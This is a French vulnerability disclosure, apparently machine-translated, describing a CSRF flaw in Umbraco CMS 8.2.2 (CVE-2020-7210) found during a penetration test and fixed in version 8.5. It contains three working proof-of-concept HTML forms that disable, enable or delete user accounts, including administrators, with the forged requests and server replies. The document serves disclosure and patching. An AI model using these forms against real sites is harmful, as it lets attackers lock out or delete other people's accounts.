⏫ 🏴󠁧󠁢󠁥󠁮󠁧󠁿 🔯 CSRF chez Umbraco CMS 🖖🏻 🤟🏽 🚋

La falsification de requêtes intersites peut être utilisée pour effectuer des requêtes Web arbitraires vers le système de gestion de contenu CMS d'Umbraco et identifier ses utilisateurs à leur insu. Une telle attaque nécessite toujours une interaction avec l'utilisateur, mais, en règle générale, il suffit à la victime de suivre un lien spécialement préparé ou de visiter une page Web sous le contrôle d'un attaquant. Cela permet d'activer, de désactiver ou de supprimer complètement les comptes d'utilisateurs. En conséquence, il existe une menace d' attaques DoS sur les comptes.

Contexte

Lors du test d'une petite pénétration des ressources, il a été découvert CSRF -uyazvimost en frais ~~à l'époque~~ Umbraco CMS. Cette vulnérabilité permettait d'activer, de désactiver ou de supprimer complètement les comptes d'utilisateurs, y compris ceux disposant de privilèges administratifs.

Malgré le fait que dans le dernier rapport OWASP Top Ten 2017, les vulnérabilités CSRF aient quitté la liste des 10 plus critiques, il est trop tôt pour les ignorer.

La vulnérabilité a été testée sur la version 8.2.2; dans la version 8.5, il a déjà été corrigé, mais il est possible que d'autres versions antérieures restent vulnérables. Les utilisateurs de ce produit sont fortement encouragés à mettre immédiatement à niveau vers la dernière version disponible.

Preuve de concept

En cas d'attaque réelle, le document HTML suivant sera placé sur un site Internet malveillant contrôlé par un attaquant.

Exemple 1: HTML pour désactiver un utilisateur

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Une demande envoyée au serveur au nom de la victime:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

La réponse reçue du serveur:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Exemple 2: HTML pour activer un utilisateur

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Enquête:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Réponse:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Exemple 3: HTML pour supprimer un utilisateur

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Enquête:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Réponse:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}

La victime reçoit une réponse du serveur au format JSON (écran cliquable).

Dès qu'une victime authentifiée (administrateur) visite un site Web avec du HTML malveillant intégré, le contenu malveillant actif commence à s'exécuter dans le contexte de la session de la victime. Bien que les réponses à ces demandes ne soient pas fournies à l'attaquant, dans de nombreux cas, il lui suffira de compromettre l'intégrité des informations de la victime stockées sur le site ou d'exécuter des demandes potentiellement compromettantes vers d'autres sites.

Au lieu d'une conclusion

Bien que de plus en plus d'attaques aient récemment été dirigées vers le côté serveur depuis le côté client, elles doivent tout de même être prises en compte. Après avoir parlé avec le client, nous avons rapidement contacté le fournisseur du produit logiciel et reçu des informations sur la correction. La vulnérabilité a reçu l'indice CVE-2020-7210. J'avoue, pour moi en tant que pentester, c'est la première vulnérabilité à recevoir l'index CVE.